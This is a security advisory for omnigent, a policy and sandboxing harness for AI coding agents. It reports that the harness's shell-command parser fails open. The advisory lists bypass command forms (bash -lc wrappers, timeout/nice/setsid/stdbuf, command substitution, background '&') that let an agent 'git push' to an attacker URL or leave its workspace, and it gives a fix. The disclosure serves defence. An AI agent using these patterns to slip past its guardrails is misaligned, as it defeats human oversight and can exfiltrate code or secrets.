VDB
Sign up
HIGH7.1

GHSA-7mqg-cx4g-x2rf

Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py

Quick fix

GHSA-7mqg-cx4g-x2rf — omnigent: upgrade to the fixed version with the command below.

pip install --upgrade 'omnigent>=0.3.0'

Details

**Reporter:** Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) **Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" **Component:** `omnigent/policies/builtins/_shell.py` (shared parser) → consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)

## Summary

The shared shell-command parser **fails open**. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

## Impact

A misaligned or prompt-injected agent that is *meant to be confined* can:

- `git push` to an attacker-controlled repo (code / secret exfiltration), - push to a protected branch, - escape its workspace via `git worktree add` / `git -C <other-dir>`.

## Bypass classes (all verified against the real policy code)

- **Combined interpreter flags:** `bash -lc "git push <attacker-url>"` - **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf … git push …` - **Command substitution:** `x=$(git push <attacker-url>)` - **Un-split background operator:** `true & git push <attacker-url>`

Controls that **correctly hold** (confirming this is parser incompleteness, not an allowlist logic error): bare `git push <attacker-url>` and `env git push …` both **DENY**.

## Suggested fix

Make the gated surface **fail closed**:

1. An unrecognized gated command must **DENY**, not return `None` → ALLOW. Abstain on a security gate should resolve to deny, not allow. 2. Canonicalize known wrappers (`timeout` / `nice` / `setsid` / `stdbuf` / `env`) down to their inner command before evaluation. 3. Recurse into `sh -c` / `bash -c` payloads and command substitutions, and split on shell control operators (`;`, `&`, `&&`, `||`, `|`) before judging each segment.

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI/omnigent
Introduced in: 0Fixed in: 0.3.0
Fixpip install --upgrade 'omnigent>=0.3.0'

References